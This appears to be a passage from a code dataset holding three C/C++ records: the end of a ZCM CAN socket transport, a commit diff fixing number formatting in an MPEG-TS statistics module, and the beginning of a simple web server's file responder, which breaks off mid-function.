timeoutS = timeoutMs \/ 1000;\n timeoutMs -= timeoutS * 1000;\n struct timeval tm = {\n timeoutS, \/* seconds *\/\n timeoutMs * 1000 \/* micros *\/\n };\n if (setsockopt(soc, SOL_SOCKET, SO_RCVTIMEO, (char *)&tm, sizeof(tm)) < 0) {\n ZCM_DEBUG(\"Failed to settimeout\");\n return ZCM_EUNKNOWN;\n }\n\n uint64_t startUtime = TimeUtil::utime();\n uint64_t timeoutUs = timeoutMs > 0 ? timeoutMs * 1e3 : numeric_limits<uint64_t>::max();\n uint64_t timeoutLeft = timeoutUs;\n\n do {\n int ret = zcm_trans_recvmsg(this->gst, msg, timeoutLeft);\n if (ret == ZCM_EOK) return ret;\n serial_update_rx(this->gst);\n\n uint64_t diff = TimeUtil::utime() - startUtime;\n timeoutLeft = timeoutUs > diff ? timeoutUs - diff : 0;\n } while (timeoutLeft > 0);\n return ZCM_EAGAIN;\n }\n\n \/********************** STATICS **********************\/\n static zcm_trans_methods_t methods;\n static ZCM_TRANS_CLASSNAME *cast(zcm_trans_t *zt)\n {\n assert(zt->vtbl == &methods);\n return (ZCM_TRANS_CLASSNAME*)zt;\n }\n\n static size_t _get_mtu(zcm_trans_t *zt)\n { return cast(zt)->get_mtu(); }\n\n static int _sendmsg(zcm_trans_t *zt, zcm_msg_t msg)\n { return cast(zt)->sendmsg(msg); }\n\n static int _recvmsg_enable(zcm_trans_t *zt, const char *channel, bool enable)\n { return cast(zt)->recvmsgEnable(channel, enable); }\n\n static int _recvmsg(zcm_trans_t *zt, zcm_msg_t *msg, int timeout)\n { return cast(zt)->recvmsg(msg, timeout); }\n\n static void _destroy(zcm_trans_t *zt)\n { delete cast(zt); }\n\n \/** If you choose to use the registrar, use a static registration member **\/\n static const TransportRegister reg;\n};\n\nzcm_trans_methods_t ZCM_TRANS_CLASSNAME::methods = {\n &ZCM_TRANS_CLASSNAME::_get_mtu,\n &ZCM_TRANS_CLASSNAME::_sendmsg,\n &ZCM_TRANS_CLASSNAME::_recvmsg_enable,\n &ZCM_TRANS_CLASSNAME::_recvmsg,\n NULL,\n &ZCM_TRANS_CLASSNAME::_destroy,\n};\n\nstatic zcm_trans_t *create(zcm_url_t* url)\n{\n auto* trans = new ZCM_TRANS_CLASSNAME(url);\n if (trans->good())\n return trans;\n\n delete trans;\n return nullptr;\n}\n\n#ifdef USING_TRANS_SERIAL\nconst TransportRegister ZCM_TRANS_CLASSNAME::reg(\n \"can\", \"Transfer data via a socket CAN connection on a single id \"\n \"(e.g. 'can:\/\/can0?msgid=65536')\", create);\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n * Copyright (C) 2011-2016 Michael Ira Krufky\n *\n * Author: Michael Ira Krufky <mkrufky@linuxtv.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#include <inttypes.h>\n#include \"string.h\"\n\n#include \"stats.h\"\n#include \"log.h\"\n#define CLASS_MODULE \"stats\"\n\n#define DBG 0\n\n#define dPrintf(fmt, arg...) __dPrintf(DBG_STATS, \"(%s) \" fmt, parent, ##arg)\n\nstats::stats(const char *caller)\n : tei_count(0)\n , __timenow(0)\n , parent(caller)\n , streamtime_cb(NULL)\n , streamtime_priv(NULL)\n , statistics_cb(NULL)\n , statistics_priv(NULL)\n , statistics_iface(NULL)\n{\n\tdPrintf(\"(%s)\", parent);\n}\n\nstats::~stats()\n{\n\tdPrintf(\"(%s)\", parent);\n\tshow(false);\n}\n\n#if 0\nstats::stats(const stats&)\n{\n\tdPrintf(\"(%s, copy)\", parent);\n}\n\nstats& stats::operator= (const stats& cSource)\n{\n\tdPrintf(\"(%s, operator=)\", parent);\n\n\tif (this == &cSource)\n\t\treturn *this;\n\n\treturn *this;\n}\n#endif\n\nstatic void parse_pcr(uint8_t *pcr, uint64_t *pcr_base, unsigned int *pcr_ext)\n{\n\t*pcr_base = ((uint64_t)pcr[0] * 0x2000000) +\n\t\t ((uint64_t)pcr[1] * 0x20000) +\n\t\t ((uint64_t)pcr[2] * 0x200) +\n\t\t ((uint64_t)pcr[3] * 0x02) +\n\t\t ((uint64_t)(pcr[4] & 0x80) >> 7);\n\n\t*pcr_ext = ((pcr[4] & 0x01) * 0x100) + pcr[5];\n\n\treturn;\n}\n\nstatic time_t walltime(void *p) { (void)p; return time(NULL); }\n\nchar *stats_scale_unit(char *b, size_t n, uint64_t x)\n{\n\tmemset(b, 0, n);\n\n\tif (x >= 1000000) {\n#if 0\n\t\tif ((x % 1000000) < 100)\n\t\t\tsnprintf(b, n, \"%3\" PRIu64 \".%03\" PRIu64 \" m\", x \/ 1000000, x % 1000000);\n\t\telse\n#endif\n\t\t\tsnprintf(b, n, \"%3\" PRIu64 \".%03\" PRIu64 \" m\", x \/ 1000000, x % 1000000);\n\t} else if (x >= 1000) {\n#if 0\n\t\tif ((x % 1000) < 100)\n\t\t\tsnprintf(b, n, \"%3\" PRIu64 \".%03\" PRIu64 \" k\", x \/ 1000, x % 1000);\n\t\telse\n#endif\n\t\t\tsnprintf(b, n, \"%3\" PRIu64 \".%03\" PRIu64 \" k\", x \/ 1000, x % 1000);\n\t} else\n\t\tsnprintf(b, n, \" %3\" PRIu64 \" \", x);\n\treturn b;\n}\n\nvoid stats::show(bool per_sec)\n{\n\tif (statistics_cb) {\n\t\tstatistics_cb(statistics_priv, statistics, discontinuities, tei_count, per_sec);\n\t}\n\tif (statistics_iface) {\n\t\tstatistics_iface->stats(statistics, discontinuities, tei_count, per_sec);\n\t}\n\tif (statistics_cb || statistics_iface) {\n\t\treturn;\n\t}\n\tfor (stats_map::const_iterator iter = statistics.begin(); iter != statistics.end(); ++iter) {\n\t\tchar a[16];\n\t\tchar b[16];\n\t\tif (dbg & DBG_STATS) __log_printf(stderr, \"pid %04x %5\" PRIu64 \" p%s %sb%s %sbit\\n\",\n\t\t\t iter->first, iter->second \/ 188, (per_sec) ? \"\/s\" : \"\",\n\t\t\t stats_scale_unit(a, sizeof(a), iter->second), (per_sec) ? \"\/s\" : \"\",\n\t\t\t stats_scale_unit(b, sizeof(b), iter->second * 8));\n\t}\n\tfor (stats_map::const_iterator iter = discontinuities.begin(); iter != discontinuities.end(); ++iter)\n\t\tif (dbg & DBG_STATS) __log_printf(stderr, \"pid %04x\\t%\" PRIu64 \" continuity errors (%\" PRIu64 \"%%)\\n\", iter->first, iter->second, ((!iter->second) || (!statistics[iter->first])) ? 0 : (!statistics.count(iter->first)) ? 0 : (100 * iter->second \/ (statistics[iter->first] \/ 188)));\n\n\tif ((tei_count) && (dbg & DBG_STATS)) __log_printf(stderr, \"tei count: %\" PRIu64 \" (%\" PRIu64 \"%%)\\n\", tei_count, (!statistics[0x2000]) ? 0 : (18800 * tei_count \/ statistics[0x2000]));\n}\n\nvoid stats::push_pid(int c, const uint16_t pid)\n{\n\tstreamtime_callback cb = (streamtime_cb) ? streamtime_cb : &walltime;\n\ttime_t timenow = cb(streamtime_priv);\n\n\tif (timenow > __timenow) {\n\t\tshow();\n\t\tclear_stats();\n\t\t__timenow = timenow;\n\t}\n\n\t__push_pid(c, pid);\n}\n\npkt_stats_t *stats::parse(const uint8_t *p, pkt_stats_t *pkt_stats)\n{\n\tadaptation_field_t adapt;\n\tpkt_hdr_t hdr;\n\n\treturn parse(p, pkt_stats, hdr, adapt);\n}\n\npkt_stats_t *stats::parse(const uint8_t *p, pkt_stats_t *pkt_stats, pkt_hdr_t &hdr, adaptation_field_t &adapt)\n{\n\tif (pkt_stats) {\n\t\tmemset(pkt_stats, 0, sizeof(pkt_stats_t));\n\n\t\tconst uint8_t *q = p;\n\n\t\tmemset(&adapt, 0, sizeof(adapt));\n\t\tmemset(&hdr, 0, sizeof(hdr));\n\n\t\thdr.sync_byte = q[0];\n\t\thdr.tei = (q[1] & 0x80) >> 7;\n\t\thdr.payload_unit_start = (q[1] & 0x40) >> 6;\n\t\thdr.transport_priority = (q[1] & 0x20) >> 5;\n\t\thdr.pid = ((q[1] & 0x1f) << 8) | q[2];\n\t\thdr.scrambling = (q[3] & 0xc0) >> 6;\n\t\thdr.adaptation_flags = (q[3] & 0x30) >> 4;\n\t\thdr.continuity_ctr = (q[3] & 0x0f);\n\n\t\tif (hdr.adaptation_flags & 0x02) {\n\t\t\tq += 4;\n\t\t\tadapt.field_length = q[0];\n\t\t\tadapt.discontinuity = (q[1] & 0x80) >> 7;\n\t\t\tadapt.random_access = (q[1] & 0x40) >> 6; \/* set to 1 if the PES pkt in this TS pkt starts an a\/v sequence *\/\n\t\t\tadapt.es_priority = (q[1] & 0x20) >> 5;\n\t\t\tadapt.pcr = (q[1] & 0x10) >> 4;\n\t\t\tadapt.opcr = (q[1] & 0x08) >> 3;\n\t\t\tadapt.splicing_point = (q[1] & 0x04) >> 2;\n\t\t\tadapt.tp_priv_data = (q[1] & 0x02) >> 1;\n\t\t\tadapt.field_ext = (q[1] & 0x01) >> 0;\n\n\t\t\tif (adapt.pcr) {\n\t\t\t\tmemcpy(adapt.PCR, &q[2], 6);\n\t\t\t\tq += 6;\n\t\t\t}\n\t\t\tif (adapt.opcr) {\n\t\t\t\tmemcpy(adapt.OPCR, &q[2], 6);\n\t\t\t\tq += 6;\n\t\t\t}\n\t\t\tif (adapt.splicing_point) {\n\t\t\t\tadapt.splicing_countdown = q[2];\n\t\t\t\tq ++;\n\t\t\t}\n\t\t}\n\n\t\tpkt_stats->sync_loss = (hdr.sync_byte != 0x47) ? true : false;\n\t\tif (!pkt_stats->sync_loss) {\n\t\t\tpkt_stats->tei = (hdr.tei) ? true : false;\n\t\t\tpkt_stats->pid = hdr.pid;\n\t\t} else\n\t\t\tpkt_stats->pid = (uint16_t) - 1;\n\t}\n\treturn pkt_stats;\n}\n\nvoid stats::clear_stats()\n{\n\tstatistics.clear();\n\tdiscontinuities.clear();\n\tlast_pcr_base.clear();\n\ttei_count = 0;\n}\n\nvoid stats::push_stats(pkt_stats_t *pkt_stats)\n{\n\tif (pkt_stats->tei) {\n\t\ttei_count++;\n\t\tpush_pid((uint16_t) - 1);\n\t} else\n\t\tpush_pid(pkt_stats->pid);\n}\n\nvoid stats::push(const uint8_t *p, pkt_stats_t *pkt_stats)\n{\n\tadaptation_field_t adapt;\n\tpkt_hdr_t hdr;\n\n\tif (!pkt_stats) {\n\t\t__push(p);\n\t\treturn;\n\t}\n\n\tmemset(pkt_stats, 0, sizeof(pkt_stats_t));\n\n\tparse(p, pkt_stats, hdr, adapt);\n\n\tif (hdr.adaptation_flags & 0x01) {\/\/ payload present\n\t\tif (continuity.count(hdr.pid)) {\n\t\t\tuint8_t next = (continuity[hdr.pid] + 1) & 0x0f;\n\t\t\tif ((next != (hdr.continuity_ctr & 0x0f)) && (hdr.continuity_ctr + continuity[hdr.pid] > 0)) {\n\t\t\t\tif (!(hdr.adaptation_flags & 0x02) && (adapt.discontinuity)) {\n\t\t\t\t\tpush_discontinuity(hdr.pid);\n#if DBG\n\t\t\t\t\tdPrintf(\"CONTINUITY ERROR pid: %04x cur: 0x%x prev 0x%x\", hdr.pid, hdr.continuity_ctr, continuity[hdr.pid]);\n#endif\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcontinuity[hdr.pid] = hdr.continuity_ctr;\n\t}\n\n\tif (hdr.adaptation_flags & 0x02) {\n\t\tif (adapt.pcr) {\n\t\t\tuint64_t pcr_base;\n\t\t\tunsigned int pcr_ext;\n\n\t\t\tparse_pcr(adapt.PCR, &pcr_base, &pcr_ext);\n\t\t\tif (dbg & DBG_STATS) __log_printf(stderr, \"PID: 0x%04x, PCR base: %\" PRIu64 \", ext: %d\\n\", hdr.pid, pcr_base, pcr_ext);\n\n#if DBG\n\t\t\tstats_map::const_iterator iter = last_pcr_base.find(hdr.pid);\n\t\t\tif ((iter != last_pcr_base.end()) && (pcr_base < iter->second))\n\t\t\t\t__log_printf(stderr, \"%s: PID: 0x%04x, %\" PRIu64 \" < %\" PRIu64 \" !!!\\n\",\n\t\t\t\t\t__func__, hdr.pid, pcr_base, iter->second);\n#endif\n\t\t\tlast_pcr_base[hdr.pid] = pcr_base;\n\t\t}\n\t\tif (adapt.opcr) {\n\t\t\tuint64_t pcr_base;\n\t\t\tunsigned int pcr_ext;\n\n\t\t\tparse_pcr(adapt.OPCR, &pcr_base, &pcr_ext);\n\t\t\tif (dbg & DBG_STATS) __log_printf(stderr, \"PID: 0x%04x, PCR base: %\" PRIu64 \", ext: %d\\n\", hdr.pid, pcr_base, pcr_ext);\n\t\t}\n\t\tif (adapt.splicing_point) {\n\t\t\tdPrintf(\"PID: 0x%04x, splicing countdown: %d\", hdr.pid, adapt.splicing_countdown);\n\t\t}\n\t}\n\n\tpush_stats(pkt_stats);\n}\n<commit_msg>stats: fix stats_scale_unit() when (x % 1000000) < 1000<commit_after>\/*****************************************************************************\n * Copyright (C) 2011-2016 Michael Ira Krufky\n *\n * Author: Michael Ira Krufky <mkrufky@linuxtv.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#include <inttypes.h>\n#include \"string.h\"\n\n#include \"stats.h\"\n#include \"log.h\"\n#define CLASS_MODULE \"stats\"\n\n#define DBG 0\n\n#define dPrintf(fmt, arg...) __dPrintf(DBG_STATS, \"(%s) \" fmt, parent, ##arg)\n\nstats::stats(const char *caller)\n : tei_count(0)\n , __timenow(0)\n , parent(caller)\n , streamtime_cb(NULL)\n , streamtime_priv(NULL)\n , statistics_cb(NULL)\n , statistics_priv(NULL)\n , statistics_iface(NULL)\n{\n\tdPrintf(\"(%s)\", parent);\n}\n\nstats::~stats()\n{\n\tdPrintf(\"(%s)\", parent);\n\tshow(false);\n}\n\n#if 0\nstats::stats(const stats&)\n{\n\tdPrintf(\"(%s, copy)\", parent);\n}\n\nstats& stats::operator= (const stats& cSource)\n{\n\tdPrintf(\"(%s, operator=)\", parent);\n\n\tif (this == &cSource)\n\t\treturn *this;\n\n\treturn *this;\n}\n#endif\n\nstatic void parse_pcr(uint8_t *pcr, uint64_t *pcr_base, unsigned int *pcr_ext)\n{\n\t*pcr_base = ((uint64_t)pcr[0] * 0x2000000) +\n\t\t ((uint64_t)pcr[1] * 0x20000) +\n\t\t ((uint64_t)pcr[2] * 0x200) +\n\t\t ((uint64_t)pcr[3] * 0x02) +\n\t\t ((uint64_t)(pcr[4] & 0x80) >> 7);\n\n\t*pcr_ext = ((pcr[4] & 0x01) * 0x100) + pcr[5];\n\n\treturn;\n}\n\nstatic time_t walltime(void *p) { (void)p; return time(NULL); }\n\nchar *stats_scale_unit(char *b, size_t n, uint64_t x)\n{\n\tmemset(b, 0, n);\n\n\tif (x >= 1000000) {\n#if 1\n\t\tif ((x % 1000000) < 1000)\n\t\t\tsnprintf(b, n, \"%3\" PRIu64 \".%03\" PRIu64 \" m\", x \/ 1000000, x % 1000000);\n\t\telse\n#endif\n\t\t\tsnprintf(b, n, \"%3\" PRIu64 \".%03\" PRIu64 \" m\", x \/ 1000000, x % 1000);\n\t} else if (x >= 1000) {\n#if 0\n\t\tif ((x % 1000) < 100)\n\t\t\tsnprintf(b, n, \"%3\" PRIu64 \".%03\" PRIu64 \" k\", x \/ 1000, x % 1000);\n\t\telse\n#endif\n\t\t\tsnprintf(b, n, \"%3\" PRIu64 \".%03\" PRIu64 \" k\", x \/ 1000, x % 1000);\n\t} else\n\t\tsnprintf(b, n, \" %3\" PRIu64 \" \", x);\n\treturn b;\n}\n\nvoid stats::show(bool per_sec)\n{\n\tif (statistics_cb) {\n\t\tstatistics_cb(statistics_priv, statistics, discontinuities, tei_count, per_sec);\n\t}\n\tif (statistics_iface) {\n\t\tstatistics_iface->stats(statistics, discontinuities, tei_count, per_sec);\n\t}\n\tif (statistics_cb || statistics_iface) {\n\t\treturn;\n\t}\n\tfor (stats_map::const_iterator iter = statistics.begin(); iter != statistics.end(); ++iter) {\n\t\tchar a[16];\n\t\tchar b[16];\n\t\tif (dbg & DBG_STATS) __log_printf(stderr, \"pid %04x %5\" PRIu64 \" p%s %sb%s %sbit\\n\",\n\t\t\t iter->first, iter->second \/ 188, (per_sec) ? \"\/s\" : \"\",\n\t\t\t stats_scale_unit(a, sizeof(a), iter->second), (per_sec) ? \"\/s\" : \"\",\n\t\t\t stats_scale_unit(b, sizeof(b), iter->second * 8));\n\t}\n\tfor (stats_map::const_iterator iter = discontinuities.begin(); iter != discontinuities.end(); ++iter)\n\t\tif (dbg & DBG_STATS) __log_printf(stderr, \"pid %04x\\t%\" PRIu64 \" continuity errors (%\" PRIu64 \"%%)\\n\", iter->first, iter->second, ((!iter->second) || (!statistics[iter->first])) ? 0 : (!statistics.count(iter->first)) ? 0 : (100 * iter->second \/ (statistics[iter->first] \/ 188)));\n\n\tif ((tei_count) && (dbg & DBG_STATS)) __log_printf(stderr, \"tei count: %\" PRIu64 \" (%\" PRIu64 \"%%)\\n\", tei_count, (!statistics[0x2000]) ? 0 : (18800 * tei_count \/ statistics[0x2000]));\n}\n\nvoid stats::push_pid(int c, const uint16_t pid)\n{\n\tstreamtime_callback cb = (streamtime_cb) ? streamtime_cb : &walltime;\n\ttime_t timenow = cb(streamtime_priv);\n\n\tif (timenow > __timenow) {\n\t\tshow();\n\t\tclear_stats();\n\t\t__timenow = timenow;\n\t}\n\n\t__push_pid(c, pid);\n}\n\npkt_stats_t *stats::parse(const uint8_t *p, pkt_stats_t *pkt_stats)\n{\n\tadaptation_field_t adapt;\n\tpkt_hdr_t hdr;\n\n\treturn parse(p, pkt_stats, hdr, adapt);\n}\n\npkt_stats_t *stats::parse(const uint8_t *p, pkt_stats_t *pkt_stats, pkt_hdr_t &hdr, adaptation_field_t &adapt)\n{\n\tif (pkt_stats) {\n\t\tmemset(pkt_stats, 0, sizeof(pkt_stats_t));\n\n\t\tconst uint8_t *q = p;\n\n\t\tmemset(&adapt, 0, sizeof(adapt));\n\t\tmemset(&hdr, 0, sizeof(hdr));\n\n\t\thdr.sync_byte = q[0];\n\t\thdr.tei = (q[1] & 0x80) >> 7;\n\t\thdr.payload_unit_start = (q[1] & 0x40) >> 6;\n\t\thdr.transport_priority = (q[1] & 0x20) >> 5;\n\t\thdr.pid = ((q[1] & 0x1f) << 8) | q[2];\n\t\thdr.scrambling = (q[3] & 0xc0) >> 6;\n\t\thdr.adaptation_flags = (q[3] & 0x30) >> 4;\n\t\thdr.continuity_ctr = (q[3] & 0x0f);\n\n\t\tif (hdr.adaptation_flags & 0x02) {\n\t\t\tq += 4;\n\t\t\tadapt.field_length = q[0];\n\t\t\tadapt.discontinuity = (q[1] & 0x80) >> 7;\n\t\t\tadapt.random_access = (q[1] & 0x40) >> 6; \/* set to 1 if the PES pkt in this TS pkt starts an a\/v sequence *\/\n\t\t\tadapt.es_priority = (q[1] & 0x20) >> 5;\n\t\t\tadapt.pcr = (q[1] & 0x10) >> 4;\n\t\t\tadapt.opcr = (q[1] & 0x08) >> 3;\n\t\t\tadapt.splicing_point = (q[1] & 0x04) >> 2;\n\t\t\tadapt.tp_priv_data = (q[1] & 0x02) >> 1;\n\t\t\tadapt.field_ext = (q[1] & 0x01) >> 0;\n\n\t\t\tif (adapt.pcr) {\n\t\t\t\tmemcpy(adapt.PCR, &q[2], 6);\n\t\t\t\tq += 6;\n\t\t\t}\n\t\t\tif (adapt.opcr) {\n\t\t\t\tmemcpy(adapt.OPCR, &q[2], 6);\n\t\t\t\tq += 6;\n\t\t\t}\n\t\t\tif (adapt.splicing_point) {\n\t\t\t\tadapt.splicing_countdown = q[2];\n\t\t\t\tq ++;\n\t\t\t}\n\t\t}\n\n\t\tpkt_stats->sync_loss = (hdr.sync_byte != 0x47) ? true : false;\n\t\tif (!pkt_stats->sync_loss) {\n\t\t\tpkt_stats->tei = (hdr.tei) ? true : false;\n\t\t\tpkt_stats->pid = hdr.pid;\n\t\t} else\n\t\t\tpkt_stats->pid = (uint16_t) - 1;\n\t}\n\treturn pkt_stats;\n}\n\nvoid stats::clear_stats()\n{\n\tstatistics.clear();\n\tdiscontinuities.clear();\n\tlast_pcr_base.clear();\n\ttei_count = 0;\n}\n\nvoid stats::push_stats(pkt_stats_t *pkt_stats)\n{\n\tif (pkt_stats->tei) {\n\t\ttei_count++;\n\t\tpush_pid((uint16_t) - 1);\n\t} else\n\t\tpush_pid(pkt_stats->pid);\n}\n\nvoid stats::push(const uint8_t *p, pkt_stats_t *pkt_stats)\n{\n\tadaptation_field_t adapt;\n\tpkt_hdr_t hdr;\n\n\tif (!pkt_stats) {\n\t\t__push(p);\n\t\treturn;\n\t}\n\n\tmemset(pkt_stats, 0, sizeof(pkt_stats_t));\n\n\tparse(p, pkt_stats, hdr, adapt);\n\n\tif (hdr.adaptation_flags & 0x01) {\/\/ payload present\n\t\tif (continuity.count(hdr.pid)) {\n\t\t\tuint8_t next = (continuity[hdr.pid] + 1) & 0x0f;\n\t\t\tif ((next != (hdr.continuity_ctr & 0x0f)) && (hdr.continuity_ctr + continuity[hdr.pid] > 0)) {\n\t\t\t\tif (!(hdr.adaptation_flags & 0x02) && (adapt.discontinuity)) {\n\t\t\t\t\tpush_discontinuity(hdr.pid);\n#if DBG\n\t\t\t\t\tdPrintf(\"CONTINUITY ERROR pid: %04x cur: 0x%x prev 0x%x\", hdr.pid, hdr.continuity_ctr, continuity[hdr.pid]);\n#endif\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcontinuity[hdr.pid] = hdr.continuity_ctr;\n\t}\n\n\tif (hdr.adaptation_flags & 0x02) {\n\t\tif (adapt.pcr) {\n\t\t\tuint64_t pcr_base;\n\t\t\tunsigned int pcr_ext;\n\n\t\t\tparse_pcr(adapt.PCR, &pcr_base, &pcr_ext);\n\t\t\tif (dbg & DBG_STATS) __log_printf(stderr, \"PID: 0x%04x, PCR base: %\" PRIu64 \", ext: %d\\n\", hdr.pid, pcr_base, pcr_ext);\n\n#if DBG\n\t\t\tstats_map::const_iterator iter = last_pcr_base.find(hdr.pid);\n\t\t\tif ((iter != last_pcr_base.end()) && (pcr_base < iter->second))\n\t\t\t\t__log_printf(stderr, \"%s: PID: 0x%04x, %\" PRIu64 \" < %\" PRIu64 \" !!!\\n\",\n\t\t\t\t\t__func__, hdr.pid, pcr_base, iter->second);\n#endif\n\t\t\tlast_pcr_base[hdr.pid] = pcr_base;\n\t\t}\n\t\tif (adapt.opcr) {\n\t\t\tuint64_t pcr_base;\n\t\t\tunsigned int pcr_ext;\n\n\t\t\tparse_pcr(adapt.OPCR, &pcr_base, &pcr_ext);\n\t\t\tif (dbg & DBG_STATS) __log_printf(stderr, \"PID: 0x%04x, PCR base: %\" PRIu64 \", ext: %d\\n\", hdr.pid, pcr_base, pcr_ext);\n\t\t}\n\t\tif (adapt.splicing_point) {\n\t\t\tdPrintf(\"PID: 0x%04x, splicing countdown: %d\", hdr.pid, adapt.splicing_countdown);\n\t\t}\n\t}\n\n\tpush_stats(pkt_stats);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2011 Josh A. Beam\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <iostream>\n#include <fcntl.h>\n#include <sys\/stat.h>\n#include <xviweb\/String.h>\n#include \"FileResponder.h\"\n\nusing namespace std;\n\nFileResponder::FileResponder()\n{\n\tm_rootDirectory = \".\";\n\n\t\/\/ add some standard MIME types\n\taddMimeType(\"text\/plain\", \"txt\");\n\taddMimeType(\"text\/html\", \"html\");\n\taddMimeType(\"text\/css\", \"css\");\n\taddMimeType(\"text\/javascript\", \"js\");\n\taddMimeType(\"image\/png\", \"png\");\n\taddMimeType(\"image\/jpg\", \"jpeg\");\n\taddMimeType(\"image\/jpg\", \"jpg\");\n\taddMimeType(\"image\/gif\", \"gif\");\n}\n\nFileResponder::~FileResponder()\n{\n}\n\nvoid\nFileResponder::addOption(const string &option, const string &value)\n{\n\tif(option == \"rootDirectory\") {\n\t\tm_rootDirectory = value;\n\t} else if(option == \"mimeType\") {\n\t\tvector <string> values = String::split(value, \";\");\n\t\tif(values.size() == 2) {\n\t\t\tm_mimeTypes.push_back(values[0]);\n\t\t\tm_mimeFileExtensions.push_back(string(\".\") + values[1]);\n\t\t}\n\t}\n}\n\nvoid\nFileResponder::addMimeType(const string &mimeType, const string &fileExtension)\n{\n\taddOption(\"mimeType\", mimeType + \";\" + fileExtension);\n}\n\nstring\nFileResponder::getMimeTypeForFile(const string &path) const\n{\n\t\/\/ find the type associated with the file extension\n\tfor(unsigned int i = 0; i < m_mimeTypes.size(); ++i) {\n\t\tif(String::endsWith(path, m_mimeFileExtensions[i], true))\n\t\t\treturn m_mimeTypes[i];\n\t}\n\n\treturn string(\"\");\n}\n\nstatic string\nmapPath(const string &path)\n{\n\t\/\/ not confident that the commented out code below\n\t\/\/ works right yet, so just return an empty string\n\t\/\/ if the requested path contains a ..\n\tif(path.find(\"..\") != string::npos)\n\t\treturn string(\"\");\n\n\tstring newPath = path;\n\n\t\/\/ replace back slashes with forward slashes\n\tsize_t tmp;\n\twhile((tmp = newPath.find('\\\\')) != string::npos)\n\t\tnewPath[tmp] = '\/';\n\n\t\/\/ replace double slashes with single slashes\n\twhile((tmp = newPath.find(\"\/\/\")) != string::npos)\n\t\tnewPath.erase(tmp, 1);\n\n#if 0\n\t\/\/ make sure .. isn't used to go above the root directory\n\tint depth = 0;\n\tfor(int i = 0; i < (int)newPath.length() - 3; ++i) {\n\t\tif(newPath[i] == '\/') {\n\t\t\tif(newPath[i+1] == '.' && newPath[i+2] == '.' && newPath[i+3] == '\/') {\n\t\t\t\tif(--depth < 0)\n\t\t\t\t\treturn string(\"\");\n\t\t\t\ti += 3;\n\t\t\t} else {\n\t\t\t\t++depth;\n\t\t\t}\n\t\t}\n\t}\n#endif\n\n\treturn newPath;\n}\n\nbool\nFileResponder::matchesRequest(const HttpRequest * \/*request*\/) const\n{\n\treturn true;\n}\n\nResponderContext *\nFileResponder::respond(const HttpRequest *request, HttpResponse *response)\n{\n\t\/\/ if the path returned by mapPath has a length\n\t\/\/ of zero, the path requested is invalid\n\tstring path = mapPath(request->getPath());\n\tif(path.length() == 0) {\n\t\tresponse->sendErrorResponse(403, \"Forbidden\", \"The provided file path is invalid.\");\n\t\treturn NULL;\n\t}\n\n\tpath = request->getVHostRoot() + path;\n\n\t\/\/ open the file and get its status\n\tstruct stat status;\n\tint fd = open(path.c_str(), O_RDONLY);\n\tif(fd == -1 || fstat(fd, &status) == -1) {\n\t\tif(fd != -1)\n\t\t\tclose(fd);\n\t\tresponse->sendErrorResponse(404, \"File Not Found\", \"The file that you requested does not exist.\");\n\t\treturn NULL;\n\t}\n\n\t\/\/ don't show directory listings\n\tif(S_ISDIR(status.st_mode)) {\n\t\tclose(fd);\n\t\tresponse->sendErrorResponse(403, \"Forbidden\", \"You do not have access to directory listings.\");\n\t\treturn NULL;\n\t}\n\n\t\/\/ get the MIME type for the file; if there's no\n\t\/\/ MIME type associated with the file extension,\n\t\/\/ just refuse to serve the file for security reasons\n\tstring contentType = getMimeTypeForFile(path);\n\tif(contentType.length() == 0) {\n\t\tclose(fd);\n\t\tresponse->sendErrorResponse(403, \"Forbidden\", \"You do not have access to files of this type.\");\n\t\treturn NULL;\n\t}\n\n\tresponse->setStatus(200, \"OK\");\n\tresponse->setContentType(contentType);\n\tresponse->setContentLength((int)status.st_size);\n\n\tif(request->getVerb() != \"HEAD\") {\n\t\t\/\/ read the file and send it to the 